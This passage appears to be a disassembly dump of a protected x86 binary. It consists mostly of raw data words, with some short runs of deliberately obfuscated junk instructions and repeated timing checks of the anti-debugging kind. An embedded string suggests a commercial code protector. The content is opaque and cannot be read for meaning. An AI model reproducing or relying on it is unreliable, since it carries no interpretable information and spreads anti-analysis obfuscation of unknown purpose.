9CAC40E1h, 71473A3Fh, 919EFB3Ah dd 0FB025EEDh, 44A5EA99h, 3F7D8D1Fh, 1D90473Ah, 911A92C7h dd 7E491839h, 0FC4D43Fh, 72F5A7C0h, 1B4F3CBDh, 543A7790h dd 56BB9CF7h, 7CF4B2C6h, 3354674Bh, 7CF45179h, 0ABE9C44Bh dd 0B743008Eh, 0EF98F4CCh, 9EA1B889h, 2, 66ABC27Dh, 0D2DF3615h dd 4A779EADh, 0A4ED043Fh, 24026DDAh, 0C4830B44h, 291664ADh dd 9CA7D1DEh, 7404C75h, 981465ECh, 411F4E70h, 7731F1A5h dd 0E0D13807h, 0D248A39Ch, 1D26525Fh, 4A77ADC8h, 3D4DDF42h dd 8473A3Bh, 3A3B4494h, 3D02A947h, 0ABE697C4h, 0EF2E136Ah dd 4A327FACh, 0CD8696F1h, 0A7BCCCA0h, 5A51473Ah, 0B499FE1Bh dd 3AA7D0F8h, 7AC9B547h, 0A897F8C5h, 0DBF9387Bh, 18ABFE01h dd 4F9C1F49h, 0C58EB90Ah, 748FE894h, 8EC51A59h, 89D7169Ch dd 181CAFFFh, 87405141h, 0E4E0C356h, 0BF62ADEh, 70A7DAEDh dd 40324BD1h, 18000000h, 364AB58h, 18528A69h, 857EA349h dd 535689E8h, 0DBEFB1CDh, 3E4118ECh, 0CBE8217Fh, 134083C0h dd 18EC3D41h, 0E35C2041h, 3E0D7DB2h, 266E3EDh, 1F59002Ch dd 0D10475E8h, 18404Bh, 0E8CE0000h, 473A3BC7h, 52B7FCF7h dd 1815A1DAh, 0C42F8E49h, 6DD6A6F3h, 7A5F9F37h, 2EFE4D3Dh dd 473A3B1Ah, 7660BCFFh, 5BD1367Dh, 49183BFCh, 0FB89DAD1h dd 41183AABh, 54CAC55h, 4BD1D648h, 1D6Dh, 0C4E8B500h, 0F6473A3Bh dd 0DB51B6FDh, 491815A0h, 0F2C72E8Dh, 386DDAA5h, 78BB88F3h dd 0AB588824h, 86690364h, 77491D13h, 5FE2344h, 9B1A10A4h dd 6237149h, 55A2CD76h, 231DAECh, 0C235CE7Dh, 0F33E6272h dd 5C59BE89h, 0BECF1532h, 395EA55Eh, 23252748h, 0C917D743h dd 4CF21488h, 0F66F4F38h, 6F252175h, 93F437C9h, 224DF686h dd 53B48FFDh, 0D90A3946h, 2227469Ah, 489DAAD5h, 0A8EB5823h dd 98716274h, 692B50BFh, 0A9C9BDFh, 0A3E7877Ch, 6A4FA8EBh dd 701766B2h, 96068B4Bh, 4B701742h, 0A4C504B7h, 7017A0C8h dd 3A66554Bh, 690645D7h, 0A4174552h, 73811FD2h, 0E1122E9h dd 0ADh, 0BAD56E1Fh, 2E390675h, 46A19EE1h, 0FC173059h dd 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h, 315B44AFh dd 6374FF16h, 1F4C6189h, 26FE9441h, 364AB58h, 1D137B69h dd 0AACFEE49h, 0F7241F6Dh, 63CE1A92h, 8823411Fh, 95F20B49h dd 63ACFCB0h, 6A41411Fh, 7C810B36h, 76497BE5h, 5CB7F688h dd 0CD1E2953h, 2CB5593Fh, 2D96FB5Eh, 15B1845Bh, 9E9BB951h dd 89B2DA5Ah, 0F04B317Eh, 40FB8EA3h, 0CAB5C227h, 5B0D287Dh dd 704C600Fh, 7095CBE2h, 51D315DCh, 0E0F9102Bh, 0D5EE993h dd 577B2EEh, 0B8FB4434h, 3946Bh, 0CB7E0000h, 3D067773h dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 0F368696Fh, 8900001Ah dd 0CA682404h, 89000051h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edx mov edx, 501B2D71h mov ebp, 0B60A2CF2h add ebp, edx mov edx, [esp] add esp, 4 push 5A93h mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], ebp sub dword ptr [esp], 53D5559Ah pop dword ptr [ecx+8] add dword ptr [ecx+8], 53D5559Ah push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_502B27 ; --------------------------------------------------------------------------- db 58h, 10h, 0 dd 0CBFE05F2h, 7CE6D53Ah, 783AB8E0h, 0C5030625h, 4FD9E0FFh dd 2F0B5560h, 0BBC13769h, 99452784h, 7B9371CFh, 0C4D65459h dd 0DE848F3h, 8D000000h, 82657B30h, 0E5C9D663h, 6693D529h dd 21B4C681h, 815A02A4h, 0EEDD55DEh, 9FC28179h, 6600006Ch dd 0DF09F681h, 0CE9C02Bh, 97000000h, 887F0F69h, 65FF0B7Fh dd 8B14721Eh, 830F023Ch, 17h, 0CE8h, 0D48B6700h, 0FBDA57D1h dd 0C11501B5h, 0C38166AFh, 815949C3h, 9C323BC7h, 0D6CE8141h dd 81195841h, 57979DEFh, 0BDB9664Bh, 57EF8156h, 8B737FA7h dd 0B96057F7h, 736F5D24h, 8F61F48Ah, 820F0204h, 6, 605A5060h dd 0FABE6161h, 835764ADh, 816602E8h, 484977E1h, 0C3816648h dd 0F881B53Dh, 0FFFF940Ch, 0FF89850Fh, 0E9FFFFh, 4, 33000000h dd 69206E41h, 7265746Eh, 206C616Eh, 65637865h, 6F697470h dd 636F206Eh, 65727563h, 41282064h, 65726464h, 203A7373h dd 78257830h, 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh dd 73207463h, 6F707075h, 6F407472h, 6E616572h, 6F632E73h dd 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 1266h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0A0C35343h, 0FF5F8AFh, 189h, 858BFC00h dd 6221AC9h, 11E9h, 22854700h, 0DF317A8h, 200594C8h, 0B75AD88Dh dd 443959B6h, 850F0424h, 0CAh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 9FC35141h, 8B42FA80h, 348B0721h dd 3DBD8993h, 89062224h, 22273985h, 1BD8306h, 62204h, 8C840Fh dd 8D890000h, 6220229h, 3AF1858Dh, 6A0622h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 3AC373C3h dd 0F108F1Dh, 0A8Ch, 0D3B16000h, 820Fh, 89610000h, 2214ED85h dd 0AE906h, 0DE030000h, 0E9AB4FCDh, 25A4AA95h, 6AE0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0F6EBEFC3h, 2A0C649Ch, 899C9BE6h, 22247DB5h, 7890F06h dd 0F000000h, 180h, 858BF900h, 6220FC9h, 0BF0F60F5h, 443961F9h dd 850F0424h, 2Ah, 6890Fh, 9D890000h, 6221A2Dh, 2491B531h dd 85C70622h, 6257D8Fh, 1, 95DE8160h, 2948F907h, 2208ADBDh dd 6A606106h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0A876C357h, 0EE9B22Bh, 36000000h dd 1D5DE1A4h, 0BA075A08h, 0A4440887h, 23E98Fh, 9D090000h dd 62225C5h, 138B0Fh, 0EE90000h, 60000000h, 25DB2D18h dd 0D8540E19h, 0C09B2ABBh, 1, 1B800h, 85870000h, 6257F45h dd 0F675C00Bh, 3309B5FFh, 858F0622h, 6257D87h, 0FF6A206Ah dd 31BD95FFh, 0BD830622h, 6221295h, 6A087400h, 7595FF00h dd 83062230h, 2232B1BDh, 0D740106h, 8068h, 0FFFF6A00h dd 2231BD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 5121AD64h, 8B604568h, 220A799Dh dd 33DF8106h, 611BE1FBh, 8B666060h, 1958BD7h, 61062202h dd 6A61F38Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0DE22C351h, 14E9B51Eh, 13000000h dd 0A8DF2CE2h, 354BBE4Ah, 70E0B88Fh, 707DFE5Fh, 0B87CFA92h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h dd 8978A576h, 22159985h, 24548B06h, 56006A28h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 2AA59876h dd 0E9604E45h, 11h, 0BBAFBA5Fh, 16E14FE3h, 34B69891h, 0D19229Ch dd 358D8B06h, 61062221h, 2C758589h, 0BEFC0622h, 3Ch, 18F0Fh dd 3F50000h, 6A242474h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 3345C356h, 14919D89h dd 66FC0622h, 51006AADh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 244403EFh, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 1103C687h dd 0E9F21711h, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h dd 0D4693A27h, 0F525090h, 0D8Bh, 8E900h, 5ADC0000h, 1A0C7A3h dd 310F565Ah, 61605250h, 6160310Fh, 585A585Ah, 7E86050h dd 29000000h, 5CDD6FD4h, 5E82752h, 0DA000000h, 2C25843Eh dd 90615B5Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0E9C35747h, 0DF25C916h, 1EA18D89h, 408B0622h, 52006A78h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0A878C801h, 0FEE6B2Dh, 189h, 0BD83F500h, 6257D8Fh, 0A4850F00h dd 29000000h, 223559B5h, 0CE95006h, 8D000000h, 9DD59B25h dd 0BC32E7C1h, 894C3994h, 85892404h, 6221A49h, 2C24448Bh dd 127D9D29h, 50500622h, 2810F52h, 60000000h, 60310F61h dd 52506160h, 585A310Fh, 89585A61h, 8DF92404h, 2557DF85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0C30E0EF3h, 860FF9A7h, 1, 6AD0FFF5h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 6D55C351h, 0F0734AFh, 68Eh, 0B9B53100h, 3062219h, 6A282444h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BAD6C357h, 49B52960h, 8B062216h, 8D891840h dd 6223349h, 5E940h, 464A0000h, 893FC0F9h, 257D8B85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 936DF13Eh, 28C9033Eh, 5060A732h, 840Fh, 89580000h, 221F4D8Dh dd 6A586106h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 29EBC357h, 2233699Dh, 0C890F06h dd 0E9000000h, 7, 0BDE4B11Eh, 8BBEAAC7h, 6A7870h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 2FEAE1C3h, 43E0213Ah, 78C0F60h, 0F000000h, 184h, 0C683F500h dd 57006A1Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 96F86300h, 247C81F5h, 24h, 0F7870F10h, 0F000000h dd 684h, 419D2900h, 90062231h, 1BB6660h, 61DE8B6Bh, 52506050h dd 310F5956h, 5AF78B66h, 0F9906158h, 2824448Bh, 0C810Fh dd 7E90000h, 9B000000h, 98E17958h, 50500C26h, 52506052h dd 585A310Fh, 893F2BBFh, 310F617Fh, 5E9h, 9C075C00h, 585A0A87h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 7BDFC355h, 0C428DB2Ah, 0F5B58B60h dd 0F806221Ch, 0CDBD8961h, 8D06222Ah, 2557DF85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 8166609Eh, 60F8AFDFh, 31F1B58Bh, 61610622h, 0E810Fh dd 8B600000h, 2204A5BDh, 358D8B06h, 61062224h, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 44FBEBC3h, 3019BD89h, 6A960622h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 924EC350h dd 3AF0DB8h, 6A242474h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0E259C355h, 0CF36A2EAh dd 89BEC6C8h, 22069595h, 0A1BD8D06h, 6A062206h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 19E0C357h, 0FE960h, 97FC0000h, 7BC0D544h, 40CBAC55h dd 91721D8Fh, 0BE9613Ch, 0E2000000h, 6F352B51h, 0FED67E74h dd 0E9AD9696h, 0Ch, 8EE6F70Bh, 6AAB3A59h, 0FA9BB402h, 24247C81h dd 10000000h, 10E870Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 92FEBAC3h, 51CD8048h dd 258D8960h, 6106221Dh, 0BE9h, 0CE5DD800h, 75A0BB9Eh dd 0D285B7BFh, 0DE86050h, 28000000h, 0B88BDB6Bh, 0CC4CB56Ch dd 0C17817E7h, 6890F5Bh, 0F000000h, 8Fh, 4896100h, 6800F24h dd 89000000h, 22133595h, 24448B06h, 55006A28h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 291930BBh dd 2229A1BDh, 0D1850106h, 50062219h, 0CE9h, 40094500h dd 71AB77DDh, 2C6F3D86h, 240489BAh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 84C35343h, 571567D1h, 0BE9577Eh dd 6A000000h, 1E6446DFh, 352F2BA3h, 858DE03Bh, 62557DFh dd 0FE9h, 643E3A00h, 2482AC96h, 3FFF8542h, 3D80D803h, 0DE9D0FFh dd 2000000h, 507F278Ah, 2B346328h, 0D06D1CCEh, 24244403h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0C3C35242h dd 9D893C03h, 6220431h, 0F99589ABh, 81062203h, 10000FAh dd 0F9820F00h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 8ED7C353h, 6880F60h dd 29000000h, 223035B5h, 61ADB206h, 5E9h, 4F7C6300h, 0BD8DCA80h dd 62201D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0DC35646h, 9F08C831h, 11E9E33Fh, 49000000h, 9980A12h dd 11C9DABDh, 0BB0FE53Fh, 81227403h, 631B589h, 6AAD0622h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0AFA5C353h, 0C6E863BCh, 46FD5ADEh, 7E9h dd 6D907200h, 282E00FCh, 24247C81h, 10000000h, 105870Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 500004C3h, 50605250h, 5A310F52h, 615A5358h dd 5250310Fh, 850Fh, 310F0000h, 585A6160h, 489585Ah, 0E870F24h dd 60000000h, 14A59589h, 0F2810622h, 322FC8F4h, 24448B61h dd 0E990F528h, 9, 63A8272h, 0DE17EDC2h, 52505079h, 2800Fh dd 61600000h, 840F310Fh, 6, 310F5250h, 585A585Ah, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 89606E52h, 22249D9Dh, 0FE806h, 26FD0000h, 3E40145Fh dd 7BB65912h, 6C4B8B3h, 0DE9A4h, 0E43A0000h, 3185748Ch dd 0CB0E8670h, 5FB6CB2Ah, 8DF9F561h, 2557DF85h, 0D0FFF906h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7FC35545h dd 9E90Eh dd 0D42E0000h, 32BF8A0Ah, 32904E4h, 6A242444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 168C355h, 70A9BE60h, 8D0B0F3Fh, 6221D8Dh, 840F5061h dd 2Eh, 0FE95250h, 0DD000000h, 0D90494B9h, 0DA8C0252h dd 0ECB0C6A2h, 310F963Fh, 0FE9h, 99905E00h, 1292983Dh dd 6F8EA4E5h, 65A5B5B7h, 489585Ah, 2D950124h, 0AB062230h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0DC35343h dd 0C6A9859Ch, 0B185894Dh, 89062234h, 22139985h, 0B1BD8D06h dd 2906221Fh, 221B9DB5h, 6AAD06h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0F44C5DC3h, 6E9C714h dd 6A000000h, 435200B0h, 51BD891Ah, 81062201h, 28247Ch dd 0F100000h, 15287h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 1FDE45BAh, 55536164h dd 0F60BFF4h, 0B966DABFh, 90611AA1h, 7E95360h, 0F1000000h dd 8398B409h, 66587870h, 5061F88Bh, 370EB960h, 5E8295Fh dd 0E2000000h, 0D7DFDFBh, 8C0Fh, 61590000h, 12880F90h dd 0E9000000h, 0Dh, 93E6B22Bh, 77A5CF49h, 51E58183h, 24448BA4h dd 56006A2Ch, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0DB8924Eh, 89BD89AFh, 90062224h, 52505250h dd 310F5250h, 310F585Ah, 585A6160h, 5250310Fh, 310F5250h dd 310F585Ah, 8E0Fh, 585A0000h, 0E950585Ah, 10h, 0A0680680h dd 9CB46D18h, 444528A2h, 59268F03h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 858D25BCh dd 62557DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 34C35747h, 0E063341Bh, 0FFAFFF75h, 50006AD0h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F9E744Fh, 0A8Ch, 95896000h, 622092Dh, 3610CB7h, 0E9282444h dd 0Bh, 0F3D1F8A5h, 0CDA63D07h, 0F550A9A7h, 50006AABh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0E1E08F6Dh, 5EF5DB81h, 7D8B8DFFh, 0BD830625h, 6257D8Bh dd 330A7500h, 0B3B58DC0h, 0FF06258Dh, 81AD56E6h, 28247Ch dd 77100000h, 448B500Eh, 8D502C24h, 2557DF85h, 3D0FF06h dd 97282444h, 858ADF8Bh, 6257D87h, 474C084h, 4C75073Ah dd 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h dd 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h dd 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh dd 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh dd 2C7585FFh, 5DE90622h, 5EFFFFFFh, 2C359589h, 6A0622h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 703273C3h, 0BD299291h, 62220A9h, 2C75858Bh, 6A0622h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 371362C3h, 89E0D1A8h, 2220459Dh, 0B1850306h, 6A06221Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0AB85C352h, 1348FBEFh, 359D3155h, 2B062204h dd 56006AF6h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 4D7E0D01h, 666096F9h, 8D03F38Bh, 6220FB1h dd 6AAD6661h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 8E0DC350h, 10E85360h, 6D000000h dd 0A3292BF5h, 0AF7C439Ch, 5EB6E2EDh, 5AE0B7B4h, 0E1BD0B58h dd 61062207h, 6880Fh, 85890000h, 6220641h, 0E902E0C1h dd 12h, 19F0E81Dh, 9DBA65E3h, 53C4F3C0h, 0E35C9C8Eh, 95314B7Eh dd 6221F21h, 6A18503h, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0FC76B9C3h, 0E962CDC3h dd 5, 0D9318C0Fh, 8D319645h, 6221421h, 55006AADh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 41CE36E3h, 0C67310E1h, 0B58B6067h, 6221EF9h, 8E8h, 0F33A5100h dd 0D34F6526h, 4D9D8B38h, 5A062231h, 0DE961h, 815B0000h dd 0B54AF8Dh, 0C5F57F72h, 81969871h, 24247Ch, 0F100000h dd 0A787h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 13933055h, 89F774F6h, 50F55E5Ch dd 52505250h, 310F6160h, 310F5250h, 585A585Ah, 5250310Fh dd 310F6160h, 310F5250h, 585A585Ah, 489585Ah, 448BF824h dd 0EE92824h, 79000000h, 423883A0h, 0F51FB5D1h, 0D67D9C65h dd 50605033h, 489615Eh, 858DF924h, 62557DFh, 1870Fh, 0FFF50000h dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0E9E3756Ch, 8, 112EDB20h, 6817D796h, 24244403h dd 0CE9h, 0F1E27600h, 0EADCA3E9h, 0D061A3DCh, 8840F0Dh dd 60000000h, 675858Bh, 89610622h, 6A1C2444h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8973C355h, 221F21BDh, 6890F06h, 9000000h, 222D1D85h dd 985C606h, 62233h, 7F4585C7h, 625h, 85C70000h, 6257D8Fh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FFC35343h dd 0B64D66D2h, 6830Fh, 95290000h, 6222C09h, 128F0Fh, 0E8600000h dd 5, 0CC74F52Ch, 8166598Fh, 61E385DFh, 7D8D0961h, 0C206222Dh dd 9D890008h, 6223079h, 6A1858Bh, 4AF90622h, 2AE5BD01h dd 0D26B0622h, 0C203F504h, 0BD850160h, 89062234h, 222ACDBDh dd 60966106h, 1CEDBD8Bh, 8B660622h, 8D0161F7h, 6223159h dd 52006AADh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 66603106h, 8161C18Bh, 24247Ch, 0F100000h dd 10C87h, 7E900h, 4D520000h, 74FF946Ah, 0F60504Eh, 48Fh dd 0AEBA6600h, 615B5328h, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0D25FC355h dd 24448B06h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 89DBD190h, 0E98AA758h, 13h, 0A024983Fh dd 37EF1784h, 2CFC3964h, 5DA92AB1h, 0F995E55h, 0C8Ch, 68E0F00h dd 9000000h, 2211A19Dh, 0B3609006h, 2820F3Fh, 60000000h dd 0E9506161h, 5, 0DE3FE4CBh, 6A9011h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 5A803FC3h dd 8B0F178Fh, 6, 0F299509h, 858D0622h, 62557DFh, 0D9816660h dd 9D894093h, 6222831h, 6AD0FF61h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 1C41C352h dd 3222778Eh, 34B5E429h, 0FDC6E9F8h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CD3C9AC3h dd 880FFC55h, 0Dh, 5348BE60h, 85891983h, 6222165h, 858DFC61h dd 6259345h, 698D89F5h, 50062214h, 6168B060h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0CBAC355h, 1AEE9CA0h, 35FF64D6h, 0 dd 7E860h, 110D0000h, 0B7547Bh, 65BD8953h, 5A062225h, 32D8523h dd 0F8610622h, 8924048Bh, 2214119Dh, 19858906h, 6A062222h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 1B2EC357h, 1FE1B16h, 0AACB8E08h, 68C0FF8h dd 89000000h, 221DA18Dh, 25896406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 49C35747h dd 99E6D8B9h, 31B925BBh, 223315BDh, 6820F06h, 1000000h dd 220FBD9Dh, 25858D06h, 0E9062591h, 0Bh, 0C8081A4h, 64393C06h dd 89E098CBh, 0B5290160h, 6220F85h, 279E9h, 0C8B0F00h dd 0F000000h, 68Eh, 800F00h, 0F000000h, 689h, 9B52900h dd 8B06220Fh, 0E8DBh, 815D0000h, 25911EEDh, 0FF9CBC06h dd 0BD830012h, 62232B1h, 8B187400h, 2200E185h, 0C606h dd 2439858Bh, 0C60622h, 0A995FF00h, 60062201h, 7993B5FFh dd 858D0625h, 6257997h, 8F858D50h, 5006257Bh, 70195FFh dd 0C4830622h, 8B60610Ch, 6E8C6h, 5CF70000h, 4B38A20Ch dd 860Fh, 61580000h, 68D0Fh, 0BD010000h, 6222615h, 8FB58DF8h dd 0F06257Bh, 181h, 0BD8DFC00h, 6222D9Dh, 1159B589h, 3E800622h dd 75840F00h, 0F000000h, 68Dh, 11858900h, 6006220Bh, 68F0FFCh dd 0F000000h, 86h, 6AA46100h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0C743C357h, 0D9B52960h dd 8106222Ah, 5024BAC2h, 0ABE96137h, 6AFFFFFFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0E1DFC356h, 7E9h, 0CFA16100h, 99F81D8Dh, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5DC9FE13h, 0ADBCE135h, 8B6022C9h, 2225E98Dh, 9E806h dd 0B9990000h, 0BB64E988h, 8087C846h, 615841E5h, 51006AAAh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 60143F7Ah, 0F836CC6Dh, 0DE9h, 36965E00h, 804E94DBh dd 0B7B16393h, 7B8F057h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F265C352h dd 85C744F8h, 6223195h, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0B7C35242h, 510DD204h, 39CE7E1Ch, 143D8D89h dd 8D8D0622h, 62250B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0BAC35343h, 21DBA970h, 2B9BD89h, 0E1FF0622h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 94C35040h dd 99A1ADAh, 245C8B2Fh, 0E8550Ch, 5D000000h, 934FED81h dd 838B0625h, 0B8h, 79938589h, 858D0625h, 6259117h, 0B88389h dd 335D0000h, 880FC3C0h, 6, 7359D31h, 9D010622h, 6222FE5h dd 0CE960h, 2EB40000h, 213D3854h, 0C5831B81h, 95317FFFh dd 6221965h, 9599858Dh, 6A0625h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 6D9AC6C3h, 0AE9F5h, 0DCAF0000h dd 0A0FF60B6h, 0FE6FDFC9h, 0E9525090h, 0Bh, 7D8966D6h dd 0AD724121h, 0F49F4AFh, 2840F31h, 60000000h, 50585A61h dd 128F0Fh, 52500000h, 310F5250h, 310F585Ah, 820Fh, 585A0000h dd 10880F90h, 0E9000000h, 0Bh, 6264CA30h, 0C9846278h, 64294D2Bh dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0E95591C3h, 10h, 3DECCE3Bh, 35A07B4Dh dd 0BCB8BBD6h, 9C3FB2DAh, 28D59501h, 89640622h, 25h, 0BD8B6000h dd 6221651h, 8F51D681h, 8D616FC6h, 25960985h, 840F6006h dd 6, 8C0Fh, 0BD890000h, 6222A55h, 1608961h, 0FE9h, 56ABE600h dd 5499C952h, 7762DDCDh, 0D16B0EE6h, 330985C6h, 0F4F0622h dd 0C88h, 858B6000h, 6220E5Dh, 0F1F7BF66h, 7DF06861h, 5250CBD7h dd 12E860h, 0D6FB0000h, 0F7BFB5F1h, 455A966Ah, 0DE55DD3Eh dd 8C1C9FAFh, 6105B059h, 5250310Fh, 800Fh, 310F0000h, 7E9h dd 80F67700h, 0C58D8ABh, 585A585Ah, 3A240481h, 0F932F0F6h dd 2649B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 3CE809C3h, 82CABEBBh, 0E904CF22h dd 14h, 0D9512019h, 3F8D91A5h, 0D2F68981h, 9548BD17h, 45D8AE03h dd 7DBE858Dh, 6A0625h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 3CF2E1C3h, 0E33B2EE5h, 31B501CFh dd 60062206h, 60F2B70Fh, 0BD89EF8Ah, 622243Dh, 0D0FF6161h dd 26898D09h, 76E90622h, 31000000h, 2225F5BDh, 245C8B06h dd 0E8550Ch, 5D000000h, 95A3ED81h, 858B0625h, 62233A9h dd 26498589h, 858B0622h, 6220FC9h, 1D058589h, 858B0622h dd 6221AC9h, 65D8589h, 85C60622h, 6223309h, 4585C700h dd 6257Fh, 8D000000h, 25960985h, 0B8838906h, 5D000000h dd 31C3C033h, 22324985h, 85096006h, 6222485h, 0BB666061h dd 0BD8B40CEh, 622300Dh, 0FF74BC61h, 6A0012h, 3E852h, 